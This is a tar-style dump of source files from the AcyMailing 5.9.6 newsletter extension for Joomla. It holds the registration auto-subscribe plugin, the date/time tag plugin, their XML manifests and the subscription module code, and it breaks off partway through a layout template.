			$listsArrayParam = explode(',', $listsToSubscribe);
			foreach($allLists as $oneList){
				$okSub = false;
				if(in_array($oneList->listid, $listsArrayParam) && (!in_array($oneList->listid, $allvisiblelistsArray) || in_array($oneList->listid, $visiblelistschecked))) $okSub = true;
				if($oneList->published && (in_array($oneList->listid, $visiblelistschecked) || $okSub)){
					$listsArray[] = $oneList->listid;
				}
			}
		}elseif(strtolower($listsToSubscribe) == 'all'){
			foreach($allLists as $oneList){
				$okSub = false;
				if(!in_array($oneList->listid, $allvisiblelistsArray) || in_array($oneList->listid, $visiblelistschecked)) $okSub = true;
				if($oneList->published && $okSub){
					$listsArray[] = $oneList->listid;
				}
			}
		}elseif(!empty($visiblelistschecked)){
			foreach($allLists as $oneList){
				if($oneList->published && in_array($oneList->listid, $visiblelistschecked)){
					$listsArray[] = $oneList->listid;
				}
			}
		}
		$statusAdd = (empty($joomUser->enabled) || (empty($joomUser->confirmed) && $config->get('require_confirmation', false))) ? 2 : 1;
		$addlists = array();
		if(!empty($listsArray)){
			foreach($listsArray as $idOneList){
				if(!isset($currentSubscription[$idOneList]) || $currentSubscription[$idOneList]->status == -1){
					$addlists[$statusAdd][$idOneList] = $idOneList;
				}
			}
		}

		$listsubClass = acymailing_get('class.listsub');
		$userSubscriptions = $listsubClass->getSubscription($subid);

		if(!$isnew && !empty($allvisiblelistsArray)){
			$subscribedLists = array_keys($userSubscriptions);
			$unsubscribeLists = array_intersect($subscribedLists, array_diff($allvisiblelistsArray, $visiblelistschecked));
			if(!empty($unsubscribeLists)) $listsubClass->updateSubscription($subid, array(-1 => $unsubscribeLists));
		}

		if(!empty($addlists)){
			if(!empty($user['gid'])) $listsubClass->gid = $user['gid'];
			if(!empty($user['groups'])) $listsubClass->gid = $user['groups'];
			$listsToUpdate = array_intersect(array_keys($userSubscriptions), $addlists[$statusAdd]);
			$updateLists = array();

			if(!empty($listsToUpdate)){
				foreach($listsToUpdate as $key => $oneListToUpdate){
					if($userSubscriptions[$oneListToUpdate]->status == -1 && !in_array($oneListToUpdate, $allvisiblelistsArray)) continue;
					$updateLists[] = $oneListToUpdate;
				}

				if(!empty($updateLists)) $listsubClass->updateSubscription($subid, array($statusAdd => $updateLists));
				$addlists[$statusAdd] = array_diff($addlists[$statusAdd], $listsToUpdate);
			}

			if(!empty($addlists[$statusAdd])) $listsubClass->addSubscription($subid, $addlists);
		}

		if($isnew && $this->params->get('sendnotif', false)){
			$userClass->sendNotification();
		}

		$listssub = $listsubClass->getSubscription($subid);

		if($isnew && $this->params->get('forceconf', 0) && empty($user['block'])){
			$userClass->sendConf($subid);
			return true;
		}

		if($isnew || empty($this->oldUser['block']) || !empty($user['block'])) return true;

		if($this->params->get('forceconf', 0)){
			if(!empty($listssub)) $userClass->sendConf($subid);
		}else{
			$userClass->confirmSubscription($subid);
		}

		return true;
	}

	function onUserAfterDelete($user, $success, $msg){
		if($this->initAcy() === false) return true;

		return $this->onAfterDeleteUser($user, $success, $msg);
	}

	function onAfterDeleteUser($user, $success, $msg){
		if($this->initAcy() === false) return true;

		if(is_object($user)) $user = get_object_vars($user);

		if($success === false || empty($user['email'])) return true;

		$userClass = acymailing_get('class.subscriber');
		$subid = $userClass->subid($user['email']);
		if(!empty($subid)){
			if($this->params->get('deletebehavior', '0') == 0){
				$userClass->delete($subid);
			}else{
				acymailing_query('UPDATE #__acymailing_subscriber SET `userid` = 0 WHERE subid = '.intval($subid));
			}
		}

		return true;
	}

	function onExtregUserActivate($form_id = 0, $er_user = null){
		if($this->initAcy() === false) return true;

		if(empty($er_user->id)) return true;
		$userClass = acymailing_get('class.subscriber');
		$userSubid = $userClass->subid($er_user->id);
		if(empty($userSubid)) return true;

		if(!empty($er_user->approve)){
			$query = 'UPDATE  #__acymailing_subscriber SET `enabled` = '.(int)$er_user->approve.' WHERE subid ='.intval($userSubid);
			acymailing_query($query);
		}
		$userClass->confirmSubscription($userSubid);
		return true;
	}

	function onExtregUserApprove($form_id = 0, $er_user = null){
		if($this->initAcy() === false) return true;

		if(empty($er_user->id)) return true;
		$userClass = acymailing_get('class.subscriber');
		$userSubid = $userClass->subid($er_user->id);
		if(empty($userSubid)) return true;

		$query = 'UPDATE  #__acymailing_subscriber SET `enabled` = "1" WHERE subid ='.intval($userSubid);
		acymailing_query($query);

		return true;
	}
}//endclass
com_acymailing/extensions/plg_system_regacymailing/regacymailing.xml000060400000025535152455305300022344 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="system">
	<name>AcyMailing : (auto)Subscribe during Joomla registration</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved.</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>Automatically subscribe the user to AcyMailing during the Joomla registration process</description>
	<files>
		<filename plugin="regacymailing">regacymailing.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-regacymailing"/>
		<param name="lists" type="lists" default="None" label="Lists displayed on registration form" description="The following selected lists will be added to your Joomla registration form and will be visible." />
		<param name="listschecked" type="lists" default="All" label="Lists checked by default" description="The selected lists will be checked by default on your registration form." />
		<param name="subscribetext" type="text" size="50" default="" label="Subscribe Caption" description="Text displayed for the subscription field. If you don't specify anything, the default value will be used from the current language file" />
		<param name="displaymode" type="list" default="dispall" label="Display mode" description="Select the way you want AcyMailing to display your lists">
			<option value="dispall">Display one checkbox per list</option>
			<option value="onecheck">Group the lists into one checkbox</option>
			<option value="dropdown">Display the lists in a dropdown</option>
		</param>
		<param name="fieldafter" type="radio" default="password" label="Display the lists after" description="AcyMailing will display the lists after the selected field on your registration form">
			<option value="password">Password</option>
			<option value="email">Email</option>
			<option value="custom">Custom</option>
		</param>
		<param name="fieldaftercustom" default="" type="text" size="10" label="Display the lists after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="customfieldsafter" type="radio" default="email" label="Display the fields after" description="AcyMailing will display the extra fields after the selected field on your registration form">
			<option value="password">Password</option>
			<option value="email">Email</option>
			<option value="custom">Custom</option>
		</param>
		<param name="customfieldsaftercustom" default="" type="text" size="10" label="Display the fields after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="sendnotif" type="radio" default="0" label="Send notification" description="When an user is created, send the Acy notification message">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="forceconf" type="radio" default="0" label="Force double opt-in" description="The registration process may already have its confirmation e-mail... Do you want Acy to send its own confirmation e-mail (so in addition to the Joomla one)?">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="@spacer" type="spacer" default="" label="" description="" />
		<param name="customcss" cols="40" rows="5" type="textarea" default="" label="Custom CSS" description="You can specify here some CSS which will be added to the registration page" />
        <param name="deletebehavior" type="radio" default="0" label="User deletion behavior" description="Choose if the AcyMailing user should also be deleted when the Joomla account is deleted">
            <option value="0">Delete AcyMailing user</option>
            <option value="1">Keep AcyMailing user</option>
        </param>
        <param label="Excluded components" name="excluded" size="50" type="text" value="" description="Acy won't display the subscription lists on the components you exclude with this option. Each value should be separated by a coma, here are the possible values: com_user, com_users, com_alpharegistration, com_ccusers, com_community, com_extendedreg, com_gcontact, com_hikashop, com_jblance, com_jshopping, com_juser, com_mijoshop, com_osemsc, com_redshop, com_tienda, com_virtuemart." />
		<param name="addcategory" type="radio" default="0" label="Display category name" description="Order the lists by category and display their category name above them.">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
    </params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-regacymailing"/>
				<field name="lists" type="lists" default="None" label="Lists displayed on registration form" description="The following selected lists will be added to your Joomla registration form and will be visible." />
				<field name="listschecked" type="lists" default="All" label="Lists checked by default" description="The selected lists will be checked by default on your registration form." />
				<field name="subscribetext" type="text" size="50" default="" label="Subscribe Caption" description="Text displayed for the subscription field. If you don't specify anything, the default value will be used from the current language file" />
				<field name="displaymode" type="list" default="dispall" label="Display mode" description="Select the way you want AcyMailing to display your lists">
					<option value="dispall">Display one checkbox per list</option>
					<option value="onecheck">Group the lists into one checkbox</option>
					<option value="dropdown">Display the lists in a dropdown</option>
				</field>
				<field name="fieldafter" type="radio" default="password" label="Display the lists after" description="AcyMailing will display the lists after the selected field on your registration form">
					<option value="password">Password</option>
					<option value="email">Email</option>
					<option value="custom">Custom</option>
				</field>
				<field name="fieldaftercustom" default="" type="text" size="10" label="Display the lists after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="customfieldsafter" type="radio" default="email" label="Display the fields after" description="AcyMailing will display the extra fields after the selected field on your registration form">
					<option value="password">Password</option>
					<option value="email">Email</option>
					<option value="custom">Custom</option>
				</field>
				<field name="customfieldsaftercustom" default="" type="text" size="10" label="Display the fields after (custom)" description="If your registration page contains other fields, you can specify the name of other fields (separated with a ;) to display the lists after these custom fields (The previous option should be set to 'custom')" />
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="sendnotif" type="radio" default="0" label="Send notification" description="When an user is created, send the Acy notification message">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="forceconf" type="radio" default="0" label="Force double opt-in" description="The registration process may already have its confirmation e-mail... Do you want Acy to send its own confirmation e-mail (so in addition to the Joomla one)?">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="@spacer" type="spacer" default="" label="" description="" />
				<field name="customcss" cols="40" rows="5" type="textarea" default="" label="Custom CSS" description="You can specify here some CSS which will be added to the registration page" />
                <field name="deletebehavior" type="radio" default="0" label="User deletion behavior" description="Choose if the AcyMailing user should also be deleted when the Joomla account is deleted">
                    <option value="0">Delete AcyMailing user</option>
                    <option value="1">Keep AcyMailing user</option>
                </field>
                <field label="Excluded components" name="excluded" type="checkboxes" description="Acy won't display the subscription lists on the components you exclude with this option">
                    <option value="com_user">com_user</option>
                    <option value="com_users">com_users</option>
                    <option value="com_alpharegistration">com_alpharegistration</option>
                    <option value="com_ccusers">com_ccusers</option>
                    <option value="com_community">com_community</option>
                    <option value="com_extendedreg">com_extendedreg</option>
                    <option value="com_gcontact">com_gcontact</option>
                    <option value="com_hikashop">com_hikashop</option>
                    <option value="com_jblance">com_jblance</option>
                    <option value="com_jshopping">com_jshopping</option>
                    <option value="com_juser">com_juser</option>
                    <option value="com_mijoshop">com_mijoshop</option>
                    <option value="com_osemsc">com_osemsc</option>
                    <option value="com_redshop">com_redshop</option>
                    <option value="com_tienda">com_tienda</option>
                    <option value="com_virtuemart">com_virtuemart</option>
                </field>
				<field name="addcategory" type="radio" default="0" label="Display category name" description="Order the lists by category and display their category name above them.">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_system_regacymailing/index.html000060400000000054152455305300020771 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_tagtime/tagtime.xml000060400000003471152455305300020566 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Date / Time</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add time or date in your Newsletter</description>
	<files>
		<filename plugin="tagtime">tagtime.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagtime"/>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagtime"/>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_tagtime/index.html000060400000000054152455305300020401 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_tagtime/tagtime.php000060400000007052152455305300020554 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagtime extends JPlugin{

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagtime');
			$this->params = new acyParameter($plugin->params);
		}
	}


	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('ACY_TIME');
		$onePlugin->function = 'acymailingtagtime_show';
		$onePlugin->help = 'plugin-tagtime';

		return $onePlugin;
	}

	function acymailingtagtime_show(){

		$text = '<br style="clear:both;"/><div class="onelineblockoptions"><table class="acymailing_table" cellpadding="1">';

		$others = array();
		$others['{date}'] = 'DATE_FORMAT_LC';
		$others['{date:1}'] = 'DATE_FORMAT_LC1';
		$others['{date:2}'] = 'DATE_FORMAT_LC2';
		$others['{date:3}'] = 'DATE_FORMAT_LC3';
		$others['{date:4}'] = 'DATE_FORMAT_LC4';
		$others['{date:%m/%d/%Y}'] = '%m/%d/%Y';
		$others['{date:%d/%m/%y}'] = '%d/%m/%y';
		$others['{date:%A}'] = '%A';
		$others['{date:%B}'] = '%B';


		$k = 0;
		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\''.$tagname.'\');insertTag();" ><td class="acytdcheckbox"></td><td>'.$tag.'</td><td>'.acymailing_getDate(time(), acymailing_translation($tag)).'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table></div>';

		echo $text;
	}

	function acymailing_replacetags(&$email, $send = true){

		$match = '#{date:?([^:].*)?}#Ui';
		$variables = array('subject', 'body', 'altbody');

		foreach($variables as $var){
			$email->$var = str_replace(array('{mailid}', '%7Bmailid%7D', '{emailsubject}'), array($email->mailid, $email->mailid, $email->subject), $email->$var);
		}
		$email->body = str_replace('{textversion}', nl2br($email->altbody), $email->body);


		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;
				$arguments = explode('|', strip_tags($allresults[1][$i]));
				$parameter = new stdClass();
				$parameter->format = $arguments[0];
				for($i = 1; $i < count($arguments); $i++){
					$args = explode(':', $arguments[$i]);
					$arg0 = trim($args[0]);
					if(isset($args[1])){
						$parameter->$arg0 = $args[1];
					}else{
						$parameter->$arg0 = true;
					}
				}

				$time = time();
				if(!empty($parameter->senddate) && !empty($email->senddate)) $time = $email->senddate;
				if(!empty($parameter->add)) $time += intval($parameter->add);
				if(!empty($parameter->remove)) $time -= intval($parameter->remove);

				if(empty($parameter->format) OR is_numeric($parameter->format)){
					$tags[$oneTag] = acymailing_getDate($time, acymailing_translation('DATE_FORMAT_LC'.$parameter->format));
				}else{
					$tags[$oneTag] = acymailing_getDate($time, $parameter->format);
				}
			}
		}

		foreach(array_keys($results) as $var){
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}
}//endclass
com_acymailing/extensions/mod_acymailing/mod_acymailing.php000060400000025113152455305300020357 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

if(!include_once(rtrim(JPATH_ADMINISTRATOR, DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.'components'.DIRECTORY_SEPARATOR.'com_acymailing'.DIRECTORY_SEPARATOR.'helpers'.DIRECTORY_SEPARATOR.'helper.php')){
	echo 'This module can not work without the AcyMailing Component';
	return;
};

$config = acymailing_config();
$overridedesign = preg_replace('#[^a-z0-9_]#i', '', acymailing_getVar('cmd', 'design'));
if(!empty($overridedesign)){
	if($overridedesign == 'popup') $overridedesign = '';
	$params->set('effect', 'mootools-box');
}

$redirectMode = $params->get('redirectmode', '0');
switch($redirectMode){
	case 1 :
		$redirectUrl = acymailing_completeLink('lists', false, true);
		$redirectUrlUnsub = $redirectUrl;
		break;
	case 2 :
		$redirectUrl = $params->get('redirectlink');
		$redirectUrlUnsub = $params->get('redirectlinkunsub');
		break;
	default :
		if(isset($_SERVER["REQUEST_URI"])){
			$requestUri = $_SERVER["REQUEST_URI"];
		}else{
			$requestUri = $_SERVER['PHP_SELF'];
			if(!empty($_SERVER['QUERY_STRING'])) $requestUri = rtrim($requestUri, '/').'?'.$_SERVER['QUERY_STRING'];
		}
		$redirectUrl = (((!empty($_SERVER['HTTPS']) AND strtolower($_SERVER['HTTPS']) == "on") || $_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://').$_SERVER["HTTP_HOST"].$requestUri;
		$redirectUrlUnsub = $redirectUrl;
		if($params->get('effect', 'normal') == 'mootools-box') $redirectUrlUnsub = $redirectUrl = '';
}

$subController = acymailing_get('controller_front.sub');
$subController->_checkRedirectUrl($redirectUrl);
$subController->_checkRedirectUrl($redirectUrlUnsub);

$formName = acymailing_getModuleFormName();
if(!empty($overridedesign)){
	$params->set('includejs', 'module');
}

$introText = $params->get('introtext');
$postText = $params->get('finaltext');
$mootoolsIntro = $params->get('mootoolsintro', '');
if(!empty($introText) && preg_match('#^[A-Z_]*$#', $introText)){
	$introText = acymailing_translation($introText);
}
if(!empty($postText) && preg_match('#^[A-Z_]*$#', $postText)){
	$postText = acymailing_translation($postText);
}
if(!empty($mootoolsIntro) && preg_match('#^[A-Z_]*$#', $mootoolsIntro)){
	$mootoolsIntro = acymailing_translation($mootoolsIntro);
}


if($params->get('effect') == 'mootools-box' AND acymailing_getVar('string', 'tmpl') != 'component'){
	$mootoolsButton = $params->get('mootoolsbutton', '');
	if(empty($mootoolsButton)){
		$mootoolsButton = acymailing_translation('SUBSCRIBE');
	}else{
		if(!empty($mootoolsButton) && preg_match('#^[A-Z_]*$#', $mootoolsButton)){
			$mootoolsButton = acymailing_translation($mootoolsButton);
		}
	}

	$moduleCSS = $config->get('css_module', 'default');
	if(!empty($moduleCSS)){
		acymailing_addStyle(false, ACYMAILING_CSS.'module_'.$moduleCSS.'.css?v='.filemtime(ACYMAILING_MEDIA.'css'.DS.'module_'.$moduleCSS.'.css'));
	}
	require(JModuleHelper::getLayoutPath('mod_acymailing', 'popup'));
	return;
}
acymailing_initModule($params);

$userClass = acymailing_get('class.subscriber');
$identifiedUser = null;
$currentUserEmail = acymailing_currentUserEmail();
if($params->get('loggedin', 1) && !empty($currentUserEmail)){
	$identifiedUser = $userClass->get($currentUserEmail);
}

if(!empty($currentUserEmail)) $currentUserEmail = acymailing_punycode($currentUserEmail, 'emailToUTF8');
if(!empty($identifiedUser->email)) $identifiedUser->email = acymailing_punycode($identifiedUser->email, 'emailToUTF8');

$visibleLists = trim($params->get('lists', 'None'));
$hiddenLists = trim($params->get('hiddenlists', 'All'));
$visibleListsArray = array();
$hiddenListsArray = array();
$listsClass = acymailing_get('class.list');
if(empty($identifiedUser->subid)){
	$allLists = $listsClass->getLists('listid');
}else{
	$allLists = $userClass->getSubscription($identifiedUser->subid, 'listid');
}


if(strpos($visibleLists, ',') OR is_numeric($visibleLists)){
	$allvisiblelists = explode(',', $visibleLists);
	foreach($allLists as $oneList){
		if($oneList->published AND in_array($oneList->listid, $allvisiblelists)) $visibleListsArray[] = $oneList->listid;
	}
}elseif(strtolower($visibleLists) == 'all'){
	foreach($allLists as $oneList){
		if($oneList->published){
			$visibleListsArray[] = $oneList->listid;
		}
	}
}

if(strpos($hiddenLists, ',') OR is_numeric($hiddenLists)){
	$allhiddenlists = explode(',', $hiddenLists);
	foreach($allLists as $oneList){
		if($oneList->published AND in_array($oneList->listid, $allhiddenlists)) $hiddenListsArray[] = $oneList->listid;
	}
}elseif(strtolower($hiddenLists) == 'all'){
	$visibleListsArray = array();
	foreach($allLists as $oneList){
		if(!empty($oneList->published)){
			$hiddenListsArray[] = $oneList->listid;
		}
	}
}

if(!empty($visibleListsArray) AND !empty($hiddenListsArray)){
	$visibleListsArray = array_diff($visibleListsArray, $hiddenListsArray);
}

$visibleLists = $params->get('dropdown', 0) ? '' : implode(',', $visibleListsArray);
$hiddenLists = implode(',', $hiddenListsArray);

if(!$params->get('dropdown', 0) && empty($hiddenLists) && empty($visibleLists)){
	echo '<p style="color:red">Error : Please select some lists in your AcyMailing module configuration for the field "'.acymailing_translation('AUTO_SUBSCRIBE_TO').'" and make sure the selected lists are enabled </p>';
}

if(!empty($identifiedUser->subid)){
	$countSub = 0;
	$countUnsub = 0;
	foreach($visibleListsArray as $idOneList){
		if($allLists[$idOneList]->status == -1){
			$countSub++;
		}elseif($allLists[$idOneList]->status == 1) $countUnsub++;
	}
	foreach($hiddenListsArray as $idOneList){
		if($allLists[$idOneList]->status == -1){
			$countSub++;
		}elseif($allLists[$idOneList]->status == 1) $countUnsub++;
	}
}

$checkedLists = $params->get('listschecked', 'All');
if(strtolower($checkedLists) == 'all'){
	$checkedListsArray = $visibleListsArray;
}elseif(strpos($checkedLists, ',') OR is_numeric($checkedLists)){
	$checkedListsArray = explode(',', $checkedLists);
}else{
	$checkedListsArray = array();
}

$listPosition = $params->get('listposition', 'before');


$nameCaption = $params->get('nametext', acymailing_translation('NAMECAPTION'));
$emailCaption = $params->get('emailtext', acymailing_translation('EMAILCAPTION'));
$displayOutside = $params->get('displayfields', 0);
$displayInline = ($params->get('displaymode', 'vertical') == 'vertical') ? false : true;

$displayedFields = $params->get('customfields', 'name,email');
$fieldsToDisplay = explode(',', $displayedFields);
$extraFields = array();

$fieldsize = $params->get('fieldsize', '80%');
if(is_numeric($fieldsize)) $fieldsize .= 'px';

$currentUserid = acymailing_currentUserId();
if(!in_array('email', $fieldsToDisplay) && empty($currentUserid)) $fieldsToDisplay[] = 'email';

if($params->get('effect') == 'mootools-slide'){
	$mootoolsButton = $params->get('mootoolsbutton', '');
	if(empty($mootoolsButton)) $mootoolsButton = acymailing_translation('SUBSCRIBE');
	
	$js .= "document.addEventListener(\"DOMContentLoaded\", function(){
				var acytogglemodule = document.getElementById('acymailing_togglemodule_$formName');
				var module = document.getElementById('acymailing_fulldiv_$formName');
				module.style.display = 'none';

				acytogglemodule.addEventListener('click', function(){
					module.style.display = '';
					if(acytogglemodule.className.indexOf('acyactive') > -1){
						acytogglemodule.className = 'acymailing_togglemodule';
						module.className = 'slide_close';
					}else{
						acytogglemodule.className = 'acymailing_togglemodule acyactive';
						module.className = 'slide_open';
					}
					
					return false;
				});
			});
		";

	if($params->get('includejs', 'header') == 'header'){
		acymailing_addScript(true, $js);
	}else{
		echo "<script type=\"text/javascript\">
			<!--
				$js
			//-->
				</script>";
	}
}

if($params->get('showterms', false)){
	require_once JPATH_SITE.DS.'components'.DS.'com_content'.DS.'helpers'.DS.'route.php';
	$termsIdContent = $params->get('termscontent', 0);
	if(empty($termsIdContent)){
		$termslink = acymailing_translation('JOOMEXT_TERMS');
	}else{
		if(is_numeric($termsIdContent)){
			if(!ACYMAILING_J16){
				$query = 'SELECT a.id,a.alias,a.catid,a.sectionid, c.alias as catalias, s.alias as secalias FROM #__content as a ';
				$query .= ' LEFT JOIN #__categories AS c ON c.id = a.catid ';
				$query .= ' LEFT JOIN #__sections AS s ON s.id = a.sectionid ';
				$query .= 'WHERE a.id = '.$termsIdContent.' LIMIT 1';
				$article = acymailing_loadObject($query);

				$section = $article->sectionid.(!empty($article->secalias) ? ':'.$article->secalias : '');
				$category = $article->catid.(!empty($article->catalias) ? ':'.$article->catalias : '');
				$articleid = $article->id.(!empty($article->alias) ? ':'.$article->alias : '');
				$url = ContentHelperRoute::getArticleRoute($articleid, $category, $section);
			}else{
				$query = 'SELECT a.id,a.alias,a.catid, c.alias as catalias FROM #__content as a ';
				$query .= ' LEFT JOIN #__categories AS c ON c.id = a.catid ';
				$query .= 'WHERE a.id = '.$termsIdContent.' LIMIT 1';
				$article = acymailing_loadObject($query);

				$category = $article->catid.(!empty($article->catalias) ? ':'.$article->catalias : '');
				$articleid = $article->id.(!empty($article->alias) ? ':'.$article->alias : '');

				$url = ContentHelperRoute::getArticleRoute($articleid, $category);
			}
			$url .= (strpos($url, '?') ? '&' : '?').'tmpl=component';
		}else{
			$url = $termsIdContent;
		}

		if($params->get('showtermspopup', 1) == 1){
			$acypop = acymailing_get('helper.acypopup');
			$termslink = $acypop->display(acymailing_translation('JOOMEXT_TERMS'), acymailing_translation('JOOMEXT_TERMS', true), $url, $articleid, 650, 375, '', '', 'text');
		}else{
			$termslink = '<a title="'.acymailing_translation('JOOMEXT_TERMS', true).'"  href="'.$url.'" target="_blank">'.acymailing_translation('JOOMEXT_TERMS').'</a>';
		}
	}
}

if(!empty($overridedesign)){
	ob_start();
}

if($params->get('displaymode') == 'tableless'){
	require(JModuleHelper::getLayoutPath('mod_acymailing', 'tableless'));
}else{
	require(JModuleHelper::getLayoutPath('mod_acymailing'));
}

$currentEmail = acymailing_currentUserEmail();
if(!empty($currentEmail)){
	echo '<span style="display:none">{emailcloak=off}</span>';
}

if(!empty($overridedesign)){
	$moduleDisplay = ob_get_clean();
	$file = ACYMAILING_MEDIA.'plugins'.DS.'squeezepage'.DS.$overridedesign.'.php';
	if(file_exists($file)){
		ob_start();
		require($file);
		$squeezePage = ob_get_clean();
		$squeezePage = str_replace('{module}', $moduleDisplay, $squeezePage);
		echo $squeezePage;
	}else{
		echo $moduleDisplay;
	}
}
com_acymailing/extensions/mod_acymailing/tmpl/popup.php000060400000001654152455305300017526 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx') ?>" id="acymailing_module_<?php echo $formName; ?>">
	<?php
	if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
	<div class="acymailing_mootoolsbutton">
		<?php
		$acypop = acymailing_get('helper.acypopup');
		$href = acymailing_completeLink('sub&task=display&autofocus=1&formid='.$module->id, true);

		$link = $acypop->display($mootoolsButton, '', $href, 'acymailing_togglemodule_'.$formName, $params->get('boxwidth', 250), $params->get('boxheight', 200), 'class="acymailing_togglemodule"', '', 'link');

		?>
		<p><?php echo $link; ?></p>
	</div>
</div>
com_acymailing/extensions/mod_acymailing/tmpl/index.html000060400000000054152455305300017640 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/mod_acymailing/tmpl/tableless.php000060400000031676152455305300020350 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><div class="acymailing_module<?php echo $params->get('moduleclass_sfx')?>" id="acymailing_module_<?php echo $formName; ?>">
<?php
	$style = array();
	if($params->get('effect','normal') == 'mootools-slide'){
		if(!empty($mootoolsIntro)) echo '<p class="acymailing_mootoolsintro">'.$mootoolsIntro.'</p>'; ?>
		<div class="acymailing_mootoolsbutton" id="acymailing_toggle_<?php echo $formName; ?>">
			<p><a class="acymailing_togglemodule" id="acymailing_togglemodule_<?php echo $formName; ?>" href="#subscribe"><?php echo $mootoolsButton ?></a></p>
	<?php
	}
	if($params->get('textalign','none') != 'none') $style[] .= 'text-align:'.$params->get('textalign');
